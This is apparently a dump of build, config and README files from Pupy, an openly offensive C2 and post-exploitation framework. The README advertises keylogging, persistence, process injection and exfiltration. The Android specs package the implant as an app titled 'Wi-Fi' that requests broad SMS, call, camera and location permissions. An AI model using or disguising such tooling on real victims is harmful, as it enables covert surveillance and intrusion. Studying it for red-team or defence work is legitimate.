[
  {
    "path": ".gitignore",
    "content": "# Temporary files\n*.pyc\n*.pyo\n*.swp\n.#*\n\n# Generated sources\nclient/sources/import-tab.c\nclient/sources/import-tab.h\nclient/sources/revision.h\nclient/sources-linux/revision.h\nclient/sources-linux/ld_hooks_64.c\nclient/sources-linux/ld_hooks_64d.c\nclient/android_sources/buildozer.spec\n\n# Compiled files\nclient/sources/*.obj\nclient/sources/*.obj\nclient/sources/_pupy*\nclient/sources/resources\n\nclient/pyoxidizer-build/lib/pupy\nclient/pyoxidizer-build/library_patches_py3\n\nclient/sources-linux/*.o\nclient/sources-linux/*.lin\nclient/sources-linux/*.so\nclient/sources-linux/resources\n\npupy/payload_templates/*.toc\npupy/payload_templates/*.dll\npupy/payload_templates/*.exp\npupy/payload_templates/*.lib\npupy/payload_templates/*.zip\npupy/payload_templates/*.exe\npupy/payload_templates/*.lin\npupy/payload_templates/*.lin.so\npupy/payload_templates/*.pyd\n\n# pupy\npupy/.pupy_history\npupy/config\npupy/crypto\npupy/data\npupy/proxy/proxy\n\nbuild\npupy.egg-info\n.pupy_history\npupyvenv\n"
  },
  {
    "path": ".gitmodules",
    "content": "[submodule \"pupy/external/LaZagne\"]\n\tpath = pupy/external/LaZagne\n\turl = https://github.com/AlessandroZ/LaZagne\n[submodule \"pupy/external/linux-exploit-suggester\"]\n\tpath = pupy/external/linux-exploit-suggester\n\turl = https://github.com/mzet-/linux-exploit-suggester\n[submodule \"pupy/external/pywerview\"]\n\tpath = pupy/external/pywerview\n\turl = https://github.com/the-useless-one/pywerview.git\n[submodule \"pupy/external/winpty\"]\n\tpath = pupy/external/winpty\n\turl = https://github.com/alxchk/winpty\n[submodule \"pupy/memorpy\"]\n\tpath = pupy/external/memorpy\n\turl = https://github.com/alxchk/memorpy\n[submodule \"pupy/external/mimipy\"]\n\tpath = pupy/external/mimipy\n\turl = https://github.com/n1nj4sec/mimipy.git\n[submodule \"client/android_sources/python-for-android\"]\n\tpath = client/android_sources/python-for-android\n\turl = https://github.com/alxchk/python-for-android.git\n[submodule \"pupy/external/Inveigh\"]\n\tpath = pupy/external/Inveigh\n\turl = https://github.com/Kevin-Robertson/Inveigh.git\n[submodule \"pupy/pupy/external/BeRoot\"]\n\tpath = pupy/external/BeRoot\n\turl = https://github.com/AlessandroZ/BeRoot\n[submodule \"client/toolchain/docker-old-tc-bootstrap\"]\n\tpath = client/toolchain/docker-old-tc-bootstrap\n\turl = https://github.com/alxchk/docker-old-tc-bootstrap\n[submodule \"client/toolchain/docker-old-tc\"]\n\tpath = client/toolchain/docker-old-tc\n\turl = https://github.com/alxchk/docker-old-tc\n[submodule \"pupy/external/pyopus\"]\n\tpath = pupy/external/pyopus\n\turl = https://github.com/alxchk/pyopus\n[submodule \"pupy/external/WinPwnage\"]\n\tpath = pupy/external/WinPwnage\n\turl = https://github.com/rootm0s/WinPwnage\n[submodule \"pupy/external/wesng\"]\n\tpath = pupy/external/wesng\n\turl = https://github.com/bitsadmin/wesng\n[submodule \"client/sources-linux/injector\"]\n\tpath = client/sources-linux/injector\n\turl = https://github.com/kubo/injector\n[submodule \"pykcp\"]\n\turl = https://github.com/n1nj4sec/pykcp\n[submodule \"pupy/external/pykcp\"]\n\tpath = pupy/external/pykcp\n\turl = https://github.com/n1nj4sec/pykcp\n"
  },
  {
    "path": ".travis.yml",
    "content": "os: linux\ndist: xenial\nservices: docker\nlanguage: generic\njobs:\n  include:\n    - language: generic\n    - language: python  # run flake8 linter on Python 3 in allow_failures mode\n      python: 3.8\n      env:\n        - FLAKE8_SELECT=\"E9,F63,F7,F82\"\n      install: pip install flake8\n      before_script: true  # override\n      script: flake8 . --count --select=$FLAKE8_SELECT --show-source --statistics\n  allow_failures:\n    - python: 3.8\nbefore_script:\n  - sudo pip2 install flake8 flake8-per-file-ignores\n  - sudo apt-get install swig libssl-dev python-all-dev\n  - cd $TRAVIS_BUILD_DIR/pupy && python2 -m flake8 .\n  - |\n    docker pull alxchk/tc-windows & docker pull alxchk/tc-linux32 &\n    docker pull alxchk/tc-linux64 & docker pull alxchk/tc-android\nscript:\n  - export TAG=`if [ \"$TRAVIS_BRANCH\" == \"master\" ]; then echo \"latest\"; else echo $TRAVIS_BRANCH; fi`\n  - cd $TRAVIS_BUILD_DIR && ./build-docker-images.sh\n  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx64*.lin\n  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx64*.so\n  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx64*.dll\n  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx64*.exe\n  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx86*.lin\n  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx86*.so\n  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx86*.dll\n  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupyx86*.exe\n  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/pupy.apk\n  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/windows-amd64.zip\n  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/windows-x86.zip\n  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/linux-amd64.zip\n  - ls -l $TRAVIS_BUILD_DIR/pupy/payload_templates/linux-x86.zip\nafter_success:\n- export TAG=`if [ \"$TRAVIS_BRANCH\" == \"master\" ]; then echo \"latest\"; else echo $TRAVIS_BRANCH; fi`\n- |\n  if [ \"$TRAVIS_REPO_SLUG\" = \"alxchk/pupy\" ] && [ -z \"$TRAVIS_PULL_REQUEST_SLUG\" ]; then\n  docker login -u $DOCKER_USER -p $DOCKER_PASS &&\n  cd $TRAVIS_BUILD_DIR/pupy &&\n  docker push alxchk/pupy:$TAG >/dev/null;\n  docker push alxchk/pupy:base-$TAG >/dev/null;\n  fi\nenv:\n  global:\n  - COMMIT=${TRAVIS_COMMIT::8}\n  - secure: gKv5C4ZTnnzOcQiGrbwEgJhE8SPJLCSIYsdDLpDIHk7OjNu+hGp+frygU25w2NlHyV7cReu7glvyphVwmrQ+FyBRtrKysk+HbU59QiVVOD6x8uyDEZ5qG0NeEOoD9ChdgSy2CSl39Pf8IIcCgZIcyNDukxZbGaUr4LpOSRu8E5H1YT9qxpsDHidQkkcYbZLNlVmhBNZ2LlFXZAu7LwSx111dMTPPVY+zRR1VmaXLuqn90p/L5Cn04xcJHMSc9fhIA3ty463KgDMuM4IXYQS1xCxyZwCpYGbHtuZYDvjmrVhQpEidj5ibcnb+ll+9XNr4JYi6ldVRDmv7J/1DOVd9Iw77LJ0SAGvTDGzTMHRz74Er82xa6zu5NkzW98oti6tCYM9QeAGp4QSJnO0WqgG87y3JW0Ponv3suMG60zPAeLYcuiyhmmOy/v3w0Xq1FHsyqSayN4koJDpUJ7DQQDbSv1Nc0MaG9XZaNVAMab0sWaqbgCMkteNN6w72lAVTck6b/NDV2taONOiNJFJIhiOpO4EZ8g4t7j/ZXpBnP9O+//APQ5WeREEcsbS32y2/R6YiHkKlnPDomfm1fJWZh3KUzRur3PbXvpJkc9D+68UYh02oYlodfi9zoDpCn5OymFPYYI9fibmbuZ1aBwlGPsYnYliAXtlEd/W3XMKT1pWdvbI=\n  - secure: HOQ7k4Sf9p3CyNy02lBMH5Ff2OeOXQWElLad9vFg0LTkxfnfkGeWP9K+fAR9Lp3nAAd5QRX/2MaJxJTomVHJSCGqjuqrqkBHBLCs7Fgt+bKx2F3QujoqJY4orZHKxpN7YFwAGF4rRzR5Q24xfvIgrnJNWgAoiEKV9yPEFa8k5pJ37MaTFRmOtkrfsN2bdpRc1uD5jbbccVFHPeTDIUa80JRuMBEVDMjJ+CeQq5il3OJUAEdiK03zPDeoCibQCl7UGQxvaWFpYlCUKw1r7d/roJcwlNnYrM0OnImAx0gAGg68vXfZFh/XHE75J3QA7eD/pQ3VdVH1OIgg2Ke3nqO4XMtl6nJGYjC+3fAzq+BOgqvHcwpNzVf6GIXwUl77Bfe1Hlx4uRrCmjbD769bIQLJeUtwKnp9fTjGC8iHEfxW5LsD3PH31vAWfADTB04puGzUAJaBVNwNlnw+dG15lH/LHvjxhJBze2Sj5Mgd2TyNDS+c6dDcIXBnLaajmxs32t87vWNjXjF0wMvBo9G1WMBH3N8UbIV/TPqaT5nINi9ntmY8wFDstNd6g1C3gtfVNsmA7cqb+AbeL8ezETMxwvTrUpPVAu2VcjomgE0zld4kBFvWVs9RQiBfmkChKEZZ3/5u9F9tRbaEcnQukw7+ULsrBqNbZwC4iHtMo3PYCHE0lk8=\n  - secure: Ro35F3YR2e1vOnDSBTHe9HdUxC7N0CEk9cxNaiOrF34qm8EhS4SJT5pv6rmNWPw8eKctS35NFtHPkkPI1WSsomFxDSd36cq2e2vfO4vrfqojXEvPqeoJMneLV1/cmNUlX8kz3NDxOCyRBaPzF1fhem7QAmdWPZ005JzaZzPysQVXe0eTH5M1JKlLWBKkMgIDb/T0pI/zPq/kJc5V81ci9D7IVe8hlNR6SdSIZ4xOvBfZcPGMRZHew9yMIvI9a81uSplBy1LkX557Udj9n3A/4K5OsY+mrsJRd7Yk1AHB4SPLc2fW9GXiUCTVFCViQFX3YwdcPdbLnHVZbsVE6TfSrgN4GndG2OIkcVNXMgnNYk9bFjRcrXa+i+Oa2nnOQ0eYdvXuW5kGPoeoyJQZZWa9c3fWgt71Ze7eP/6SWIQ4mEyzpbWVHqL8m7aNGvI8/mfqlSk138ZiDYY1Va/IlcWwrBerkQaUz7a/j6sohB2zpua05LNrxW8ZPDhMo0Kq+U+e/x6Qqgc35MnnfhJR8AvA2CRccaxptWBcfzFlJ1CHhLKhdwSA8zfa58vRDnGphwqYO+FF44Tmr1NwRMT3ytHB5GtTSlUjzy0Evmyf81hhI0S+5L2Oeuv1n0sQEf/qS9Tfppuc36gAQClRgmHFgmM5WkIOQy/lyRKDUkM7/JUsE50=\n"
  },
  {
    "path": "LICENSE",
    "content": "Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n\n1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n\n2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n\n3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE\n\nPupy also uses some code source/libraries from other projects under different licenses. Among these project, you may find :\n\t-For the client part:\n\t\tcf the file client/sources/LICENSES.txt\n\t-For the packages located in pupy/packages/:\n\t\t-VideoCapture by Markus Gritsch (m.gritsch@gmail.com) under the LGPL license.\n\t\t\thttp://videocapture.sourceforge.net/\n\t\t-psutil by Giampaolo Rodola under the BSD license\n\t\t\thttps://github.com/giampaolo/psutil\n\t-For the external libraries in pupy/external/\n\t\t-creddump software is under GPLv3 license, you can see the full license terms in pupy/external/creddump7/COPYING.orig\n\t-For the transports :\n\t\t-obfsproxy software is under the 3-Clause BSD License. Copyright 2013 George Kadianakis\n\t-For the launchers :\n\t\t-SocksiPy - Python SOCKS module. 3-Clause BSD License. Copyright 2006 Dan-Haim. (cf pupy/network/socks.py)\n\n"
  },
  {
    "path": "README.md",
    "content": "# Pupy\n\n[![Build Status](https://api.travis-ci.org/n1nj4sec/pupy.svg?branch=unstable)](https://travis-ci.org/n1nj4sec/pupy)\n\n## Simple Installation\n\n```\npip3 install pipx\npipx ensurepath\npipx install git+https://github.com/n1nj4sec/pupy@nextgen\n\npupysh\n```\n~~If you want more detailed information [Refer to the wiki](https://github.com/n1nj4sec/pupy/wiki/Installation)~~\n\n## Development Install\n\n```\ngit clone https://github.com/n1nj4sec/pupy\ncd pupy\ngit checkout nextgen\ngit submodule init\ngit submodule update\n\npip install venv\npython3 -m venv pupyvenv\nsource pupyvenv/bin/activate\npip install -r requirements.txt\n```\nrun pupysh from the dev install :\n```\nsource pupyenv/bin/activate\npython3 -m pupy.cli\n```\n\n## Description\n\nPupy is a cross-platform, multi function C2 and post-exploitation tool mainly written in python. It features an all-in-memory execution guideline and leaves a very low footprint. Pupy can communicate using multiple transports, migrate into processes using reflective injection, and load remote python code, python packages and python C-extensions from memory.\n\n## Features\n\n- Windows payload can load the entire Python interpreter from memory using a reflective DLL.\n\t- Pupy does not touch the disk.\n\n- Can be packed into a single .py file and run without any dependencies other than the python standard library on all OSes.\n\t- PyCrypto gets replaced by pure Python AES & RSA implementations when unavailable.\n\n- Reflectively migrate into other processes.\n- Remotely import pure python packages (.py, .pyc) and compiled python C extensions (.pyd, .so) from memory.\n\t- Imported python modules do not touch the disk.\n\n- Easily extensible, modules are simple to write and are sorted by os and category.\n\n- Modules can directly access python objects on the remote client using [rpyc](https://github.com/tomerfiliba/rpyc).\n\n- Access remote objects interactively from the pupy shell and get auto-completion of remote attributes.\n\n- Communication transports are modular and stackable. Exfiltrate data using HTTP over HTTP over AES over XOR, or any combination of the available transports.\n\n- Communicate using obfsproxy [pluggable transports.](https://www.torproject.org/docs/pluggable-transports.html.en)\n\n- Execute noninteractive commands on multiple hosts at once.\n\n- Commands and scripts running on remote hosts are interruptible.\n\n- Auto-completion for commands and arguments.\n\n- Custom config can be defined: command aliases, modules. automatically run at connection, etc.\n\n- Open interactive python shells with auto-completion on the all-in-memory remote python interpreter.\n\n- Interactive shells (cmd.exe, /bin/bash, etc) can be opened remotely.\n\t- Remote shells on Unix & Windows clients have a real tty with all keyboard signals working just like an SSH shell.\n\n- Execute PE executable remotely and from memory.\n\n- Generate payloads in various formats:\n\n| Format | Architecture | Short Name |\n|---|---|---|\n~~ Android Package ~~ | x86 & ARMv7 | apk\nLinux Binary | x86 | lin_x86\nLinux Binary | x64 | lin_x64\nLinux Shared Object | x86 | so_x86\nLinux Shared Object | x64 | so_x64\nWindows PE Executable | x86 | exe_x86\nWindows PE Executable | x64 | exe_x64\nWindows DLL | x86 | dll_x86\nWindows DLL | x64 | dll_x64\nPython Script | x86 & x64 | py\nPython Oneliner | x86 & x64 | py_oneliner\nPowershell | x86 & x64 | ps1\nPowershell Oneliner | x86 & x64 | ps1_oneliner\n\n- Deploy in memory from a single command line using python or powershell one-liners.\n\n- Embed \"scriptlets\" in generated payloads to perform some tasks \"offline\" without needing network connectivity (ex: start keylogger, add persistence, execute custom python script, check_vm, etc.)\n\n- Multiple Target Platforms:\n\n| Platform | Support Status |\n|---|---|\nWindows XP | ~~ Supported ~~ python dropped support\nWindows 7 | ~~ Supported ~~ python dropped support\nWindows 8 | Supported\nWindows 10 | Supported\nLinux | Supported\nMac OSX | Limited Support\nAndroid | Limited Support\n\n## Documentation\n\nAll documentation can be found on the wiki.\n\n[Refer to the wiki](https://github.com/n1nj4sec/pupy/wiki)\n\n## FAQ\n\n> Does the server work on windows?\n\nPupy has not been tested on Windows. Theoretically, it should work on any platform that supports Docker and Docker Compose. However, you will need to adapt the Docker Compose installation instructions for the Windows platform.\n\n> I can't install Pupy. The installation fails.\n\n1. Please refer to the wiki. It is possible that your answer is there.\n2. Search the Github issues and see if your issue was already solved.\n3. If you issue was not solved, open a new issue following the [issue guidelines](https://github.com/n1nj4sec/pupy/wiki/Issue-Guidelines).\n\nIf you do not follow these steps, you issue will be closed.\n\n> Android and/or Mac OSX payloads and modules don't work.\n\nPupy has _limited_ support for Android and OSX. These platforms may not be well maintained and may break intermittently. Some modules (i.e. keylogger) may be missing for these platforms.\n\n## Development\n\nIf some of you want to participate to pupy development, don't hesitate! All help is greatly appreciated and all pull requests will be reviewed.\n\nAlso there is small [note](https://github.com/n1nj4sec/pupy/wiki/Development) about development. Please run flake8 before doing any commits. File with config is [here](pupy/tox.ini).\n\n## Contact\n\n| Platform | Contact Info |\n|---|---|\nEmail | contact@n1nj4.eu\nTwitter | https://twitter.com/n1nj4sec\n\nThis project is a [personal development](https://en.wikipedia.org/wiki/Personal_development), please respect its philosophy and don't use it for evil purposes!\n\n## Special thanks\n\nSpecial thanks to all contributors & supporters that help improve pupy and make it a better tool! :)\n"
  },
  {
    "path": "client/additional_imports.py",
    "content": "from __future__ import print_function\nimport umsgpack\nimport socket\nimport threading\nimport queue\nimport collections\nimport _struct\nimport struct\nimport os\nimport sys\nimport time\nimport traceback\nimport uuid\nimport subprocess\nimport imp\nimport hashlib\nimport hmac\nimport base64\nimport logging\nimport re\nimport ssl\nimport tempfile\nimport string\nimport datetime\nimport random\nimport shutil\nimport platform\nimport errno\nimport stat\nimport zlib\nimport code\nimport glob\nimport math\nimport binascii\nimport shlex\nimport json\nimport ctypes\nimport threading\nimport urllib\nimport getpass\nimport __future__\nimport netaddr\nimport urllib_auth\nimport http_parser\nimport unicodedata\nimport getpass\n\nimport importlib\nimport importlib.util\nimport contextlib\nimport warnings\nimport abc\nimport _py_abc\nimport keyword\n\ntry:\n    import psutil\nexcept Exception as e:\n    print(\"psutil: \", e)\nimport pyexpat\nimport fnmatch\n\ntry:\n    import dukpy\nexcept ImportError:\n    print(\"dukpy not found\")\n\ntry:\n    import kcp\nexcept ImportError:\n    print(\"kcp not found\")\n\ntry:\n    import uidle\nexcept ImportError:\n    print(\"uidle not found\")\n\n#import poster\n\nif 'win' in sys.platform:\n    import ctypes.wintypes\n\n    try:\n        import win_inet_pton\n    except AttributeError:\n        pass\n\n    import winkerberos\nelse:\n    import pty\n    try:\n        import kerberos\n    except ImportError:\n        print(\"kerberos not found\")\n"
  },
  {
    "path": "client/android_sources/build-docker.sh",
    "content": "#!/bin/sh\n\nSELF=`readlink -f \"$0\"`\nSELFPWD=`dirname \"$SELF\"`\nSRC=${SELFPWD:-`pwd`}\n\ncd $SRC\n\nTEMPLATES=`readlink -f ../../pupy/payload_templates`\n\nrm -f $TEMPLATES/pupy.apk\n\nrm -f buildozer.spec\nsed -e \"s@%BUILDOZER%@$BUILDOZER_CACHE@\" buildozer-docker.spec  >buildozer.spec\nbuildozer android release\n\nmv $SRC/bin/Wi-Fi-0.1-release-unsigned.apk $TEMPLATES/pupy.apk || exit 1\n"
  },
  {
    "path": "client/android_sources/build.sh",
    "content": "#!/bin/sh\nexport PATH=$PATH:$HOME/.local/bin\n\npip install --user --upgrade git+https://github.com/kivy/buildozer\n[ -f buildozer.spec ] || ln -sf buildozer.spec.example buildozer.spec\nbuildozer android release\nmv .buildozer/android/platform/build/dists/pupy/bin/Wi-Fi-0.1-release-unsigned.apk \\\n ../../pupy/payload_templates/pupy.apk || exit 1\nrm -rf .buildozer/android/platform/build\nrm -rf ~/.buildozer/android/platform/*.tar.gz\nrm -rf ~/.buildozer/android/platform/*.tgz\nrm -rf ~/.buildozer/android/platform/*.tar.bz2\n"
  },
  {
    "path": "client/android_sources/buildozer-docker.spec",
    "content": "[app]\n\ntitle = Wi-Fi\npackage.name = pupy\npackage.domain = org.pupy\nsource.dir = .\nsource.include_exts = py,pyc,pyo,png,jpg,kv,atlas\n#source.include_patterns = assets/*,images/*.png\n#source.exclude_exts = spec\nsource.exclude_dirs = python-for-android, bin\n#source.exclude_patterns = license,images/*/*.jpg\nversion = 0.1\n\nrequirements = genericndkbuild,pycryptodome,plyer,psutil,tinyec,netaddr,dnslib,pyjnius,pyuv,cryptography,kcp,msgpack-python,scandir,ushlex\n#presplash.filename = %(source.dir)s/data/presplash.png\n#icon.filename = %(source.dir)s/data/icon.png\norientation = all\nfullscreen = 0\n\nandroid.permissions = INTERNET,READ_EXTERNAL_STORAGE,WRITE_EXTERNAL_STORAGE,VIBRATE,CAMERA,READ_CONTACTS,GET_ACCOUNTS,RECORD_AUDIO,READ_PHONE_STATE,READ_CALL_LOG,WRITE_CALL_LOG,CALL_PHONE,CALL_PRIVILEGED,USE_SIP,PROCESS_OUTGOING_CALLS,ADD_VOICEMAIL,READ_SMS,SEND_SMS,RECEIVE_SMS,RECEIVE_MMS,RECEIVE_WAP_PUSH,CHANGE_CONFIGURATION,CHANGE_NETWORK_STATE,CHANGE_WIFI_MULTICAST_STATE,CHANGE_WIFI_STATE,CLEAR_APP_CACHE,CONTROL_LOCATION_UPDATES,DELETE_PACKAGES,DUMP,FACTORY_TEST,FLASHLIGHT,GLOBAL_SEARCH,KILL_BACKGROUND_PROCESSES,MANAGE_DOCUMENTS,MEDIA_CONTENT_CONTROL,MODIFY_AUDIO_SETTINGS,NFC,ACCESS_COARSE_LOCATION,ACCESS_FINE_LOCATION,ACCESS_LOCATION_EXTRA_COMMANDS,ACCOUNT_MANAGER,BLUETOOTH_ADMIN,BLUETOOTH,BLUETOOTH_PRIVILEGED,ACCESS_NETWORK_STATE\n\n#android.api = 19\n#android.minapi = 9\n#android.sdk = 20\n#android.ndk = 9c\n#android.private_storage = True\n#android.ndk_path =\n#android.sdk_path =\n#android.ant_path =\n\np4a.source_dir = python-for-android\n# p4a.local_recipes = python-for-android/pythonforandroid/recipes\n\n#p4a.hook =\n\nandroid.whitelist = lib-dynload/termios.so,lib-dynload/mmap.so,lib-dynload/_json.so,lib-dynload/pyexpat.so\nandroid.skip_update = True\np4a.bootstrap = badservice\n\n#android.add_src =\n#android.add_aars =\n\n#android.add_libs_armeabi = libs/android/*.so\n#android.add_libs_armeabi_v7a = libs/android-v7/*.so\n#android.add_libs_x86 = libs/android-x86/*.so\n#android.add_libs_mips = libs/android-mips/*.so\n\n#android.wakelock = False\n#android.meta_data =\n#android.library_references =\n#android.logcat_filters = *:S python:D\n#android.copy_libs = 1\n\nandroid.arch = armeabi-v7a\n\n[buildozer]\nlog_level = 1\nwarn_on_root = 0\nbuild_dir = %BUILDOZER%\n# bin_dir = ./bin\n"
  },
  {
    "path": "client/android_sources/buildozer.spec.example",
    "content": "[app]\n\n# (str) Title of your application\ntitle = Wi-Fi\n\n# (str) Package name\npackage.name = pupy\n\n# (str) Package domain (needed for android/ios packaging)\npackage.domain = org.pupy\n\n# (str) Source code where the main.py live\nsource.dir = .\n\n# (list) Source files to include (let empty to include all the files)\nsource.include_exts = py,pyc,pyo,png,jpg,kv,atlas\n\n# (list) List of inclusions using pattern matching\n#source.include_patterns = assets/*,images/*.png\n\n# (list) Source files to exclude (let empty to not exclude anything)\n#source.exclude_exts = spec\n\n# (list) List of directory to exclude (let empty to not exclude anything)\nsource.exclude_dirs = python-for-android, bin\n\n# (list) List of exclusions using pattern matching\n#source.exclude_patterns = license,images/*/*.jpg\n\n# (str) Application versioning (method 1)\nversion = 0.1\n\n# (str) Application versioning (method 2)\n# version.regex = __version__ = ['\"](.*)['\"]\n# version.filename = %(source.dir)s/main.py\n\n# (list) Application requirements\n# comma seperated e.g. requirements = sqlite3,kivy\nrequirements = pycrypto,plyer,psutil,tinyec,netaddr,pyjnius,pyuv,cryptography\n\n# (str) Custom source folders for requirements\n# Sets custom source for any requirements with recipes\n# requirements.source.kivy = ../../kivy\n\n# (list) Garden requirements\n#garden_requirements =\n\n# (str) Presplash of the application\n#presplash.filename = %(source.dir)s/data/presplash.png\n\n# (str) Icon of the application\n#icon.filename = %(source.dir)s/data/icon.png\n\n# (str) Supported orientation (one of landscape, portrait or all)\norientation = all\n\n# (list) List of service to declare\n# services = pupy:service/main.py\n\n#\n# OSX Specific\n#\n\n#\n# author = © Copyright Info\n\n# change the major version of python used by the app\nosx.python_version = 3\n\n# Kivy version to use\nosx.kivy_version = 1.9.1\n\n#\n# Android specific\n#\n\n# (bool) Indicate if the application should be fullscreen or not\nfullscreen = 0\n\n# (string) Presplash background color (for new android toolchain)\n# Supported formats are: #RRGGBB #AARRGGBB or one of the following names:\n# red, blue, green, black, white, gray, cyan, magenta, yellow, lightgray,\n# darkgray, grey, lightgrey, darkgrey, aqua, fuchsia, lime, maroon, navy,\n# olive, purple, silver, teal.\n#android.presplash_color = #FFFFFF\n\n# (list) Permissions\nandroid.permissions = INTERNET,READ_EXTERNAL_STORAGE,WRITE_EXTERNAL_STORAGE,VIBRATE,CAMERA,READ_CONTACTS,GET_ACCOUNTS,RECORD_AUDIO,READ_PHONE_STATE,READ_CALL_LOG,WRITE_CALL_LOG,CALL_PHONE,CALL_PRIVILEGED,USE_SIP,PROCESS_OUTGOING_CALLS,ADD_VOICEMAIL,READ_SMS,SEND_SMS,RECEIVE_SMS,RECEIVE_MMS,RECEIVE_WAP_PUSH,CHANGE_CONFIGURATION,CHANGE_NETWORK_STATE,CHANGE_WIFI_MULTICAST_STATE,CHANGE_WIFI_STATE,CLEAR_APP_CACHE,CONTROL_LOCATION_UPDATES,DELETE_PACKAGES,DUMP,FACTORY_TEST,FLASHLIGHT,GLOBAL_SEARCH,KILL_BACKGROUND_PROCESSES,MANAGE_DOCUMENTS,MEDIA_CONTENT_CONTROL,MODIFY_AUDIO_SETTINGS,NFC,ACCESS_COARSE_LOCATION,ACCESS_FINE_LOCATION,ACCESS_LOCATION_EXTRA_COMMANDS,ACCOUNT_MANAGER,BLUETOOTH_ADMIN,BLUETOOTH,BLUETOOTH_PRIVILEGED,ACCESS_NETWORK_STATE\n\n\n# (int) Android API to use\n#android.api = 19\n\n# (int) Minimum API required\n#android.minapi = 9\n\n# (int) Android SDK version to use\n#android.sdk = 20\n\n# (str) Android NDK version to use\n#android.ndk = 9c\n\n# (bool) Use --private data storage (True) or --dir public storage (False)\n#android.private_storage = True\n\n# (str) Android NDK directory (if empty, it will be automatically downloaded.)\n#android.ndk_path =\n\n# (str) Android SDK directory (if empty, it will be automatically downloaded.)\n#android.sdk_path =\n\n# (str) ANT directory (if empty, it will be automatically downloaded.)\n#android.ant_path =\n\n# (str) python-for-android git clone directory (if empty, it will be automatically cloned from github)\np4a.source_dir = python-for-android\n\n# (str) The directory in which python-for-android should look for your own build recipes (if any)\np4a.local_recipes = python-for-android/pythonforandroid/recipes\n\n# (str) Filename to the hook for p4a\n#p4a.hook =\n\n# (list) python-for-android whitelist\nandroid.whitelist = lib-dynload/termios.so,lib-dynload/mmap.so,lib-dynload/_json.so,lib-dynload/pyexpat.so\n\n# (bool) If True, then skip trying to update the Android sdk\n# This can be useful to avoid excess Internet downloads or save time\n# when an update is due and you just want to test/build your package\n# android.skip_update = True\n\n# (str) Bootstrap to use for android builds (android_new only)\np4a.bootstrap = badservice\n\n# (str) Android entry point, default is ok for Kivy-based app\n#android.entrypoint = org.renpy.android.PythonActivity\n\n# (list) List of Java .jar files to add to the libs so that pyjnius can access\n# their classes. Don't add jars that you do not need, since extra jars can slow\n# down the build process. Allows wildcards matching, for example:\n# OUYA-ODK/libs/*.jar\n#android.add_jars = foo.jar,bar.jar,path/to/more/*.jar\n\n# (list) List of Java files to add to the android project (can be java or a\n# directory containing the files)\n#android.add_src =\n\n# (list) Android AAR archives to add (currently works only with sdl2_gradle\n# bootstrap)\n#android.add_aars =\n\n# (list) Gradle dependencies to add (currently works only with sdl2_gradle\n# bootstrap)\n#android.gradle_dependencies =\n\n# (str) python-for-android branch to use, if not master, useful to try\n# not yet merged features.\n#android.branch = master\n\n# (str) OUYA Console category. Should be one of GAME or APP\n# If you leave this blank, OUYA support will not be enabled\n#android.ouya.category = GAME\n\n# (str) Filename of OUYA Console icon. It must be a 732x412 png image.\n#android.ouya.icon.filename = %(source.dir)s/data/ouya_icon.png\n\n# (str) XML file to include as an intent filters in <activity> tag\n#android.manifest.intent_filters =\n\n# (list) Android additionnal libraries to copy into libs/armeabi\n#android.add_libs_armeabi = libs/android/*.so\n#android.add_libs_armeabi_v7a = libs/android-v7/*.so\n#android.add_libs_x86 = libs/android-x86/*.so\n#android.add_libs_mips = libs/android-mips/*.so\n\n# (bool) Indicate whether the screen should stay on\n# Don't forget to add the WAKE_LOCK permission if you set this to True\n#android.wakelock = False\n\n# (list) Android application meta-data to set (key=value format)\n#android.meta_data =\n\n# (list) Android library project to add (will be added in the\n# project.properties automatically.)\n#android.library_references =\n\n# (str) Android logcat filters to use\n#android.logcat_filters = *:S python:D\n\n# (bool) Copy library instead of making a libpymodules.so\n#android.copy_libs = 1\n\n# (str) The Android arch to build for, choices: armeabi-v7a, arm64-v8a, x86\nandroid.arch = armeabi-v7a\n\n#\n# iOS specific\n#\n\n# (str) Path to a custom kivy-ios folder\n#ios.kivy_ios_dir = ../kivy-ios\n\n# (str) Name of the certificate to use for signing the debug version\n# Get a list of available identities: buildozer ios list_identities\n#ios.codesign.debug = \"iPhone Developer: <lastname> <firstname> (<hexstring>)\"\n\n# (str) Name of the certificate to use for signing the release version\n#ios.codesign.release = %(ios.codesign.debug)s\n\n\n[buildozer]\n\n# (int) Log level (0 = error only, 1 = info, 2 = debug (with command output))\nlog_level = 1\n\n# (int) Display warning if buildozer is run as root (0 = False, 1 = True)\nwarn_on_root = 0\n\n# (str) 